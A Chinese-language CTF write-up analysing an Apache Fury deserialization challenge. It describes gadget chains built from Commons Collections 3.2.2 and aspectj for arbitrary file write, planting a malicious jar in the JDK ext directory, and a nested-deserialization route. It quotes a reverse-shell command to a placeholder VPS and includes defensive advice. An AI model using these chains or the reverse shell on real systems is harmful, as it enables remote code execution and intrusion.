阿里CTF Java赛道Fury反序列化漏洞分析与利用链挖掘
字数 3160
更新时间 2026-03-24 17:23:27

阿里CTF Java赛道Fury反序列化漏洞分析与利用链挖掘 技术教学文档

本文旨在对“阿里CTF Java赛道Fury反序列化漏洞”的分析与利用链构建过程进行系统性教学,内容基于先知社区的技术文章。教学目标是帮助读者理解漏洞背景、分析思路、利用链构造方法,并掌握相关的PoC编写技巧。

1. 漏洞背景与目标

  • 漏洞环境: 本议题源于一场阿里CTF的Java题目,核心利用点为Apache Fury反序列化漏洞。
  • Fury库: 一个基于JIT的高性能序列化框架,本题目利用了其反序列化功能作为攻击入口。
  • 核心攻击目标:通过构造特定的序列化数据,在目标服务器上触发反序列化漏洞,最终实现任意文件写入远程代码执行(RCE)

2. 环境初步分析与限制

  1. 入口点: 题目接收一个Base64编码的字符串,并调用Fury的deserialize方法进行反序列化。
  2. 依赖分析: 环境中包含aspectj依赖,为后续利用提供了潜在入口。
  3. 黑名单限制: 题目对大量常见的危险类(如多个CC链相关的类)进行了黑名单过滤,但过滤规则存在缺陷,为绕过留下了空间。

3. 漏洞利用链分析(一):单次反序列化实现文件写入

这是官方Writeup(WP)和参赛队伍(如SU队)使用的主要攻击路径,其特点是不依赖二次反序列化,利用现有依赖直接完成利用。

3.1 核心利用链

PriorityQueue.readObject() -> heapify() -> comparator.compare()
    comparator = TransformingComparator(StringValueTransformer)
    transformer.transform(TiedMapEntry) -> TiedMapEntry.toString()
    TiedMapEntry.toString() -> getValue() -> map.get(key)
    map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
    LazyMap.get(key) -> factory.create(key) -> bytes
    LazyMap.put(key, bytes) -> StoreableCachingMap.put(key, bytes) -> 将bytes写入文件名为'key'的文件

3.2 关键技术点

  • org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap: 这是未被黑名单过滤的关键类。其put方法可以将传入的值(value)写入到以键(key)为文件名的文件中,实现了任意文件写入。
  • Commons Collections链: 利用TransformingComparatorTiedMapEntryLazyMapConstantFactory等CC组件构造调用链。注意:环境使用的是CC 3.2.2版本,而题目黑名单错误地过滤了CC 4版本的类名,导致CC 3.2.2的链未被有效拦截。
  • 文件写入目标: 通过写入特定的JAR文件到JDK扩展目录(如/usr/local/openjdk-8/jre/lib/ext/dnsns.jar),可触发JVM自动加载恶意JAR,从而执行其中的恶意代码。

3.3 恶意JAR构造与ASCII-JAR技术

为了绕过可能的字符过滤,需要构造一个纯ASCII字符的JAR文件。

  1. 目标:生成一个恶意的dnsns.jar,其中包含重写的sun.net.spi.nameservice.dns.DNSNameServiceDescriptor类,在其构造函数或静态代码块中插入命令执行代码。
  2. 方法:使用ASCII-JAR工具。该工具通过向类文件中填充大量允许的ASCII字符(排除&<'">()等特殊字符),将编译后的字节码“膨胀”成一个纯ASCII的JAR文件。
  3. 工具使用流程:
    a. 克隆ASCII-JAR项目。
    b. 编写恶意的DNSNameServiceDescriptor类,例如在构造函数中执行反向Shell命令:Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vps_ip/port 0>&1");
    c. 使用ASCII-JAR的Python脚本,指定填充字符(如'U'),对编译后的.class文件进行处理,生成最终的evildnsns.jar

3.4 单次反序列化PoC核心代码逻辑

// 1. 构造内层Map: StoreableCachingMap
// 2. 用LazyMap包装,并设置ConstantFactory,工厂返回要写入文件的恶意JAR字节内容。
// 3. 构造TiedMapEntry,将其key与LazyMap绑定。
// 4. 构造TransformingComparator,使用StringValueTransformer,用于触发TiedMapEntry.toString()。
// 5. 将TransformingComparator设置为PriorityQueue的比较器,并将TiedMapEntry加入队列。
// 6. 使用Fury序列化此PriorityQueue对象,得到Payload。
// 7. 将Payload进行Base64编码,发送给题目。

4. 漏洞利用链分析(二):官方预期的二次反序列化路径

官方出题人可能预期了一条更复杂的、涉及二次反序列化的利用链,但被选手用更直接的方法绕过。

4.1 二次反序列化触发点

  • 关键类: com.google.api.client.util.IOUtilsdeserialize方法。该方法内部会进行二次反序列化。
  • 调用路径: 需要找到一个从Fury反序列化入口,最终能调用到IOUtils.deserialize(InputStream)的链。

4.2 官方Hint链分析

官方Hint指向了com.google.common.collect.UsingToStringOrdering#compare方法,该方法会调用参数的toString()

  • 目标: 让某个对象的toString()方法最终调用AbstractMemoryDataStore.get(),而get()内部调用了IOUtils.deserialize
  • 具体链构造思路:
Fury.deserialize ->
  CollectionSerializer.read ->
  PriorityQueue.add ->
  UsingToStringOrdering.compare -> // 触发参数的 toString()
  AbstractMemoryDataStore.toString ->
  DataStoreUtils.toString -> // 内部会遍历并调用 get()
  AbstractMemoryDataStore.get ->
  IOUtils.deserialize(InputStream) // 二次反序列化触发点

4.3 二次反序列化阶段的利用

当成功触发IOUtils.deserialize后,需要一个新的反序列化链来实现最终利用(如文件写入)。

  • 可用链: 由于此时已进入一个新的反序列化上下文,可以复用前面提到的BadAttributeValueExpException -> TiedMapEntry -> LazyMap -> StoreableCachingMap这条链来实现文件写入。
  • 注意: 在二次反序列化阶段,不能再使用org.apache.commons.collections.comparators.TransformingComparator,因为Fury是通过反序列化器来还原对象的,而TransformingComparator本身可能不支持序列化。

4.4 二次反序列化PoC构建难点

构造完整的二次反序列化PoC较为复杂,需要精确控制两个阶段的链拼接,文中作者也提到调试过程并不顺利。

5. 总结与要点

  1. 漏洞本质: 利用Apache Fury对不可信数据进行反序列化,结合环境中存在危险类(如未过滤的CC 3.2.2、StoreableCachingMap)和可利用方法(IOUtils.deserialize),构造利用链。
  2. 绕过技巧: 题目黑名单的疏漏(误过滤CC 4而非CC 3.2.2)是本次攻击成功的关键之一。
  3. 两种攻击路径:
    • 路径一(实用): 单次反序列化,直接利用StoreableCachingMap进行文件写入,配合ASCII-JAR技术加载恶意JAR。此路径简单有效。
    • 路径二(复杂): 通过UsingToStringOrdering触发二次反序列化,再在二次反序列化中利用文件写入链。此路径是官方预期解,但更为曲折。
  4. 工具与技能:
    • 静态分析: 使用Tabby等工具进行代码属性图(CPG)分析,寻找调用路径。
    • 动态调试: 结合-verbose:class参数运行JAR,观察类加载情况,判断dnsns.jarjce.jar是否被预加载。
    • Payload构造: 熟练掌握Java反序列化链的构造、ASCII-JAR的制作,以及使用Fury库进行序列化。

6. 防御建议

  1. 输入校验: 严格校验反序列化数据的来源,避免反序列化不可信的输入。
  2. 类过滤: 使用更严格的白名单机制,而非有疏漏的黑名单。确保过滤掉所有已知的危险类和第三方库的危险版本。
  3. 环境加固: 检查并移除不必要的危险依赖(如老版本的Commons Collections)。
  4. 沙箱/隔离: 在可能的情况下,在沙箱环境中运行反序列化功能。
  5. 升级与补丁: 及时升级使用的序列化库(如Fury)到最新安全版本。

注:以上利用技术仅用于安全研究与教学,严禁用于非法攻击。

相似文章
相似文章
 全屏